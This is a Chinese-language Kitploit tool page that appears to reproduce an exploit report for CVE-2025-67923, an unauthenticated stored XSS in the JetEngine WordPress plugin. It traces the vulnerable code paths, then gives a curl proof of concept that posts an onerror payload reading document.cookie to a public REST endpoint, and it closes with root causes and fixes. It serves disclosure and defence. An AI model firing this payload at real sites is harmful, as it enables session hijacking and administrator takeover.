Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2025-67923 — JetEngine <= 3.7.7 — 通过 CCT REST API 的未认证存储型跨站脚本 | Kitploit
工具/GitHubGitHub/randomrobbiebf/cve-2025-67923
漏洞分析漏洞利用Web应用程序漏洞利用Web安全API 安全
GitHubrandomrobbiebf/cve-2025-67923

CVE-2025-67923

JetEngine <= 3.7.7 — 通过 CCT REST API 的未认证存储型跨站脚本

查看仓库
5个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2025-67923 漏洞利用报告

JetEngine <= 3.7.7 — 通过 CCT REST API 的未认证存储型跨站脚本(XSS)

日期: 2026年3月11日 CVSS 评分: 7.1(高危) CVSS 向量: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L 受影响插件: JetEngine <= 3.7.7 插件标识(slug): jet-engine 修复版本: 3.7.8 CVE: CVE-2025-67923 CWE: CWE-79 研究人员: Bonds(通过 Patchstack) 报告时间: 2025年10月19日 披露时间: 2026年1月 测试使用的 WordPress 版本: 最新版


执行摘要

CVE-2025-67923 是 JetEngine WordPress 插件中的一个未认证存储型跨站脚本(Stored XSS) 漏洞,影响所有版本(含 3.7.7)及以下版本。未认证攻击者可以通过公开的 REST API 将任意 HTML/JavaScript 写入自定义内容类型(CCT)的文本字段,当受害者访问任何包含“地图列表(Maps Listing)”小部件的页面时,该值会被未经净化地通过 JavaScript 的 innerHTML 汇点注入 DOM。

该攻击无需认证,不需要任何权限,仅需满足:

  1. 存在一个 JetEngine CCT,且其 REST API 写入访问权限设置为 public。
  2. 任意前端页面上的“地图列表”小部件被配置为将该 CCT 的文本字段显示为地图标记标签。

✅ 漏洞已确认 — 存储型 XSS 载荷已写入并执行

已确认的影响:

  • 未认证的任意 HTML/JS 未经过滤地存入 CCT 数据库
  • 每个访问包含“地图列表”小部件页面的访客都会触发 XSS
  • Cookie 窃取、会话劫持、凭据收集攻击、管理员接管

漏洞详情

技术摘要

该漏洞是两个独立弱点组合而成:

  1. 输入净化缺失(存储): CCT 条目处理器的 sanitize_field_value() 方法对 text 类型字段没有净化路径。default: 分支仅转换时间戳——原始 HTML 会直接通过并持久化到数据库。

  2. 基于 DOM 的 XSS 汇点(渲染): “地图列表”小部件通过 get_marker_label() 读取存储的字段值,用 htmlspecialchars(json_encode(...)) 包装后放入 data-markers HTML 属性,然后 JavaScript 前端通过 getAttribute() 读取该属性(该调用会解码 HTML 实体),再通过 innerHTML 直接将 markerData.label 插入页面——从而执行任何嵌入的 HTML/JavaScript。

受影响组件


利用链

第 1 步 — 未认证的 REST 写入

CCT 公共 REST 控制器通过 check_user_permissions() 检查权限:

root@kitploit:~
// public-controller.php:370-376
public function check_user_permissions( $request, $context ) {
    $content_type = $this->get_content_type_from_request( $request );
    $cap = $content_type->get_arg( $context );

    if ( ! $cap || 'public' === $cap ) {
        return true;  // 无需认证
    } else {
        return current_user_can( $cap );
    }
}

public function create_item_permissions_check( $request ) {
    return $this->check_user_permissions( $request, 'rest_put_access' );
}

当 CCT 配置为 rest_put_access = 'public'(这是面向公众表单的一种受支持且有文档记录的配置)时,该端点完全无需认证。任何 HTTP 客户端都可以向 /wp-json/jet-cct/{slug} 发送 POST 请求。

第 2 步 — 未净化的存储

REST 处理器调用 $handler->update_item($params),进而进入 sanitize_field_value():

root@kitploit:~
// item-handler.php:489-562
public function sanitize_field_value( $value, $field ) {
    $type = isset( $field['type'] ) ? $field['type'] : false;

    switch ( $type ) {
        case 'repeater':    // 净化子字段
            // ...
        case 'checkbox':    // 处理布尔数组
        case 'checkbox-raw':
            // ...
        case 'media':
        case 'gallery':     // 净化媒体 JSON
            // ...
        case 'wysiwyg':
            $value = jet_engine_sanitize_wysiwyg( $value );  // 已净化
            break;

        default:
            // TEXT 类型会走到这里 —— 仅做时间戳转换,没有 HTML 净化
            $value = $this->factory->maybe_to_timestamp( $value, $field );
    }

    return $value;
}

text 类型字段会进入 default: 分支。maybe_to_timestamp() 对于非日期字符串会原样返回该值。XSS 载荷 `` 被原样存储。

第 3 步 — 标签未转义即被读取

当“地图列表”小部件渲染时,get_marker_label() 读取字段:

root@kitploit:~
// render.php:479-535
public function get_marker_label( $post = null, $settings = array() ) {

    // ...
    switch ( $label_type ) {
        case 'meta_field':
            $field = $settings['marker_label_field'];
            if ( $field ) {
                $result = jet_engine()->listings->data->get_meta( $field, $post );
                // 这里没有 esc_html() —— 返回原始值
            }
            break;
    }

    return $result;  // 返回 ""
}

返回的值被放入标记数据数组中:

root@kitploit:~
// render.php:231-237
$result[] = array(
    'id'        => $post_id,
    'latLang'   => $latlang,
    'label'     => $this->get_marker_label( $post, $settings ),  // 原始 XSS 载荷
    // ...
);

第 4 步 — 属性编码无法阻止 innerHTML XSS

标记数组被编码为 HTML 属性:

root@kitploit:~
// render.php:247
return htmlspecialchars( json_encode( $result ) );

json_encode 将 `` 序列化为字符串 ""。随后 htmlspecialchars 对整个 JSON 进行 HTML 编码,得到:

root@kitploit:~
[{...,&quot;label&quot;:&quot;&lt;img src=x onerror=alert(1)&gt;&quot;,...}]

这段内容被写入 data-markers HTML 属性。编码只保护属性边界。 当 JavaScript 读取该属性时,浏览器会解码 HTML 实体,恢复原始字符:

root@kitploit:~
// 浏览器在通过 dataset / getAttribute 读取时会自动解码实体
const markers = JSON.parse(el.dataset.markers);
// markers[0].label === ''

第 5 步 — innerHTML 注入(XSS 触发)

在 frontend-maps.js 中,原始标签字符串被直接拼接到 HTML 内容字符串中:

root@kitploit:~
// frontend-maps.js:112
pinData.content = general.marker.html.replace( '_marker_label_', markerData.label );
// pinData.content = '<div class="jet-map-marker-wrap">
//   
// </div>'

然后该内容字符串被设置为标记元素的 innerHTML:

root@kitploit:~
// mapbox-maps.js:175
el.innerHTML = data.content;  // XSS 触发

// leaflet-maps.js:34
contentHtml.innerHTML = content;  // XSS 触发

每个加载包含“地图列表”小部件页面的访客都会触发该载荷。


概念验证(PoC)

前提条件

  1. 已启用 JetEngine 的 maps-listings 和 custom-content-types 模块。
  2. 存在一个名为 locations 的 CCT(slug:locations),且:
    • rest_put_enabled = true
    • rest_put_access = 'public'
    • 存在一个名为 label 的 text 类型字段
  3. 任意前端页面上的“地图列表”小部件配置为:
    • marker_type = 'text'
    • marker_label_type = 'meta_field'
    • marker_label_field = 'label'

第 1 步 — 写入 XSS 载荷(未认证)

root@kitploit:~
curl -s -X POST 'http://TARGET/wp-json/jet-cct/locations' \
  -H 'Content-Type: application/json' \
  -d '{
    "name": "Test Location",
    "label": "",
    "lat": "51.5074",
    "lng": "-0.1278"
  }'

响应:

root@kitploit:~
{"success": true, "item_id": 1}

第 2 步 — 确认原始载荷被存储

root@kitploit:~
curl -s 'http://TARGET/wp-json/jet-cct/locations'

响应:

root@kitploit:~
[{
  "_ID": "1",
  "name": "Test Location",
  "label": "",
  "lat": "51.5074",
  "lng": "-0.1278"
}]

`` 标签被原样存储——没有发生任何净化。

第 3 步 — 触发 XSS(受害者访问页面)

任何已认证或未认证的访客,只要加载包含“地图列表”小部件的页面,就会执行该载荷。渲染后的 HTML 属性包含:

root@kitploit:~
<div class="jet-map-box"
  data-markers="[{...&quot;label&quot;:&quot;&lt;img src=x onerror=alert(document.cookie)&gt;&quot;...}]"
  data-general="...">
</div>

JavaScript 读取 data-markers,解码 HTML 实体,进行 JSON 解析,并插入 DOM:

root@kitploit:~
// markerData.label = ''
el.innerHTML = '<div class="jet-map-marker-wrap">' + markerData.label + '</div>';
// ↑ onerror 触发 → alert(document.cookie)

实时演示 — 端到端载荷流转

root@kitploit:~
攻击者                     WordPress REST API              受害者浏览器
   |                               |                               |
   |-- POST /wp-json/jet-cct/ ---> |                               |
   |   {"label":" |
   |                               |                    el.innerHTML = label
   |                               |                    onerror=alert() 触发

根因分析

原因 1 — text 字段被豁免于净化规则

sanitize_field_value() 对 wysiwyg 显式使用基于 wp_kses 的净化操作,但将所有其他字符串类型放入 default: 分支,该分支不执行任何 HTML 转义。“text 字段是纯文本”这一假设在该字段的值随后经地图小部件的 innerHTML 路径被渲染为 HTML 时被打破。

原因 2 — htmlspecialchars 使用不当

htmlspecialchars(json_encode($result)) 被用来保护 HTML 属性边界。这是正确且必要的——但当该值随后被 JavaScript 读回并通过 innerHTML 插入 DOM 时,这并不足以防止 XSS。这种编码可被浏览器逆转。正确的修复方式是在 JSON 编码之前对单独的 label 值应用 esc_html()(或 htmlspecialchars),使载荷以实体编码文本的形式存储在 JSON 中。当 JavaScript 通过 innerHTML 插入该值时,浏览器会将 &lt;img&gt; 渲染为文本,而非 HTML 标签。

另一种方案是,在 JavaScript 中将标签字段的 innerHTML 替换为 textContent。

原因 3 — 净化策略的作用范围不足

REST API 写入路径(update_item)并未将所有存储值视为潜在的 HTML 汇点。净化策略仅按字段类型定义,text 字段被静默豁免,尽管其值会通过地图小部件在前端被渲染为 HTML。


修复建议


时间线

日期事件
2025年10月19日研究人员 "Bonds" 通过 Patchstack 报告该漏洞
2026年1月公开披露
2026年1月发布包含修复的 JetEngine 3.7.8
2026年3月11日使用完整 PoC 独立复现确认

参考

  • Wordfence 公告 — CVE-2025-67923
  • Patchstack 公告
  • JetEngine 更新日志 — 3.7.8
  • OWASP — 存储型 XSS
  • OWASP — 基于 DOM 的 XSS
  • CWE-79: 未对网页生成过程中的输入进行适当中和
下载工具
文件问题
includes/modules/custom-content-types/inc/rest-api/public-controller.php:424当 CCT 的 rest_put_access = 'public' 时,create_item_permissions_check 返回 true — 无需认证
includes/modules/custom-content-types/inc/item-handler.php:489sanitize_field_value() 的 default: 分支 — 对 text 类型字段没有 HTML 净化
includes/modules/maps-listings/inc/render.php:233get_marker_label() 返回原始 meta 值,未使用 esc_html()
includes/modules/maps-listings/inc/render.php:247htmlspecialchars(json_encode($result)) — 仅保护属性边界,不能防止 innerHTML 注入
includes/modules/maps-listings/assets/js/frontend-maps.js:112pinData.content = general.marker.html.replace('_marker_label_', markerData.label) — 原始标签被拼接到 HTML 字符串
includes/modules/maps-listings/assets/js/public/mapbox-maps.js:175el.innerHTML = data.content — XSS 执行汇点
includes/modules/maps-listings/assets/js/public/leaflet-maps.js:34contentHtml.innerHTML = content — XSS 执行汇点
修复措施文件描述
在保存时净化 text 字段item-handler.php:sanitize_field_value()在 default: 分支中添加 $value = wp_kses($value, []) 或 sanitize_text_field($value)
在渲染时转义标签render.php:get_marker_label()在返回标签值之前应用 esc_html($result)
标签改为使用 textContent 而非 innerHTMLfrontend-maps.js、mapbox-maps.js、leaflet-maps.js当内容仅为标签文本时,将 el.innerHTML = data.content 替换为安全的 DOM 构造方式
限制 REST 写入访问的默认权限插件设置将 rest_put_access 的默认值从 public 改为 manage_options;要求显式选择开启